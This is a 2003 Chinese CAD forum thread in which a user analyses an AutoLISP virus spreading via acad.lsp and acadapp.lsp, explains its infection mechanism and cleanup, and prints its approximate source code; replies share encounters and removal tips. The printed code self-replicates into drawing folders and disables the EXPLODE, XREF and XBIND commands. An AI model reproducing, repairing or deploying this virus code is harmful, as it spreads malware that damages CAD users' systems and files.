明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 67890|回复: 151

[原创]LSP病  毒???

  [复制链接]
发表于 2003-8-20 16:06 | 显示全部楼层 |阅读模式
这是一个acad的lisp程序编写的病毒,呵呵,不是我写的。
事件:
2003年7月1日,同事告诉我,acad里面的图块炸不开。
我检查发现打开图纸的应用程序调用出错>>>>>
出错指令指出错误为S::STARTUP
于是打开看acadr14.lsp acad.lsp  acad.mnl
发现acad.lsp中有数十个(load "acadapp")
清理掉留一个(load "acadapp")
还不好使。
删除所有的(load "acadapp")。
还不好使。
而且每次打开一个图都会增加一个(load "acadapp")
?????
打开acadapp.lsp
发现有问题,代码不熟悉???还修改acad.lsp
我认为是病毒了。
呵呵,还是lisp病毒(不知道算不算是首创?)
瞧我的思路是多么敏捷。
下面就简单了。
分析代码,好在是明码,没有加密,呵呵,如果是
加密的我可能会以为是系统安装的辅助软件冲突而忽略呢。
感染涉及文件名为acad.lsp和acadapp.lsp
开始杀毒>>>把所有acad.lsp和acadapp.lsp都删除。
完成了??????怎么打开cad又出现了被删除的acad.lsp
唔?
全盘搜索,呵呵,找到了上百个acad.lsp。
不在“正确”位置上的acad.lsp删!
打开看看,有(load "acadapp")的删!算了,都删了。
还有全盘acadapp.lsp都删除。
然后修复系统:找个干净的计算机,把有的acad.lsp复制到
cad系统文件夹中。

总结及随想:
1、入侵原理acad打开图形时候,会先在图形所在目录查找acad.lsp
运行。这是入侵口。病毒搜索acad系统所在目录的acad.lsp,感染,
并且在该目录下生成acadapp.lsp。以后每次打开别的路径的图形
病毒也会控制,然后在该路径生成病原体acad.lsp完成传播。
2、病毒中
  (command "undefine" "explode")
  (command "undefine" "xref")
  (command "undefine" "xbind")
删除某些cad命令,算是发作的东西了。
3、病毒特征:
a传染有acad的图形所在的目录,及acad系统。
b发作时为禁止 炸开图块及图形引用、绑定。
c整个病毒2714字节。
4、该病毒传播原理可以是acad的lisp程序安装的一个思路,hehe
感染系统=安装,向外传播的功能就别用了。
5、程序目的、功能明确,是典型的病毒。
   好在破坏不太强,比较“温柔”。
   程序传播路径较窄,传播系统必须装有AutoCAD,且能够运行lisp程序。
6、注意问题,一般存放DWG图形文件的目录中有acad.lsp可能是病毒。
7、下面是病毒acad.lsp的大概源代码。不过别拿来试验了,你能够改的好使,你就能编出更好的病毒了。

(defun
s::startup
(/
old_cmd
path
dwgpath
mnlpath
apppath
oldacad
newacad
nowdwg
lspbj
wjm
wjm1
wjqm
wjqm1
wz
ns1
ns2)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
path
(findfile
"base.dcl"))
(setq
path
(subst
path
1
(-
(strlen
path)
8)))
(setq
mnlpath
(getvar
"menuname"))
(setq
nowdwg
(getvar
"dwgname"))
(setq
wjqm
(findfile
nowdwg))
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm)
(strlen
nowdwg))))
(setq
acadpath
(findfile
"acad.lsp"))
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath)
8)))
(setq
ns1
""
ns2
"")
(setq
lspbj
0)
(setq
wjqm
(strcat
path1
"acad.lsp"))
(if
(setq
wjm
(open
wjqm
"r"))
(progn
(while
(setq
wz
(read-line
wjm))
(setq
ns1
ns2)
(setq
ns2
wz)

(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7)
"acadapp")
(setq
lspbj
1))

(close
wjm)


(if
(and
(=
acadpath
dwgpath)
(/=
acadpath
path))
(progn
(setq
oldacad
(findfile
"acad.lsp"))
(setq
newacad
(strcat
path
"acadapp.lsp"))
(if
(=
lspbj
0)
(progn
(setq
wjqm
(strcat
path
"acad.lsp"))
(setq
wjm
(open
wjqm
"a"))
(write-line
(strcat
"(load
"
(chr
34)
"acadapp"
(chr
34)
")")
wjm)
(write-line
"(princ)"
wjm)
(close
wjm)


(writeapp)

(progn
(if
(/=
nowdwg
"Drawing.dwg")
(progn
(setq
oldacad
(findfile
"acadapp.lsp"))
(setq
newacad
(strcat
dwgpath
"acad.lsp"))
(writeapp)




(command
"undefine"
"explode")
(command
"undefine"
"xref")
(command
"undefine"
"xbind")
(setvar
"cmdecho"
old_cmd)
(princ)

(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"))
(progn
(setq
wjm
(open
oldacad
"r"))
(while
(setq
wz
(read-line
wjm))
(write-line
wz
wjm1)

(close
wjm)
(close
wjm1)



(defun
C:explode
(/
p
cont
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
p
(ssget))
(if
p
(progn
(setq
cont
(sslength
p))
(princ
"\nSeltct
objects:")
(princ
cont)
(princ
"
found")
(princ
"\n")
(princ
cont)
(princ
"
was
not
able
to
be
explode")


(setvar
"cmdecho"
old_cmd)
(princ)

(defun
C:xref
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"
old_cmd)
(princ)

(defun
C:xbind
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"
old_cmd)
(princ)

(defun
C:burst
(/
p
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(princ
"\nBURST----将图块中的文字炸开后成为实体")
(setq
p
(ssget))
(setvar
"cmdecho"
old_cmd)
(princ)

(princ)



                     永不停息的夸克:开心猫。
我发源码给瑞星,他们说杀不了!
发表于 2003-8-20 17:30 | 显示全部楼层
这个病毒很早以前就有人发现了,你找找,好象还有人贴过专门查杀这方面病毒的东西。
发表于 2003-8-22 10:45 | 显示全部楼层

请问

你们好:


     问一下关于   VLA   的  MOMENTOGINERTIA  属性
    与  (vlax-safearray->list)
             (vlax-variant-value)
                  函数的具体解释
发表于 2003-8-22 22:00 | 显示全部楼层
我第一次看到這樣的情況,很惊奇的.多多向廣大人民群眾學習.
发表于 2003-8-29 16:57 | 显示全部楼层
我也碰到了,我将所有的ACAD。LSP删除了,可进行图块爆炸了!
发表于 2003-8-31 22:46 | 显示全部楼层
我也碰过一次,但是是另存后打开,然后把ACAD.LSP删除,总结了几次规律之后才找到的,早知道这里有高手,唉,就不用浪费那么多时间了
发表于 2003-9-3 20:12 | 显示全部楼层
我们最近也有这个病毒,删除acad.lsp或删除acad的安装目录后重装就可以。
发表于 2003-9-4 13:41 | 显示全部楼层
我知道这个杀这个病毒的程序,下载地址我忘了。
我机子里有,但不知道如何提供给需要的人
发表于 2003-9-4 13:56 | 显示全部楼层
可以上传到下载中心,下载中心右上角有个软件管理,进去就可以了
发表于 2003-9-10 13:25 | 显示全部楼层
没见过 大开眼界
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-6-15 02:04 , Processed in 0.276864 second(s), 26 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表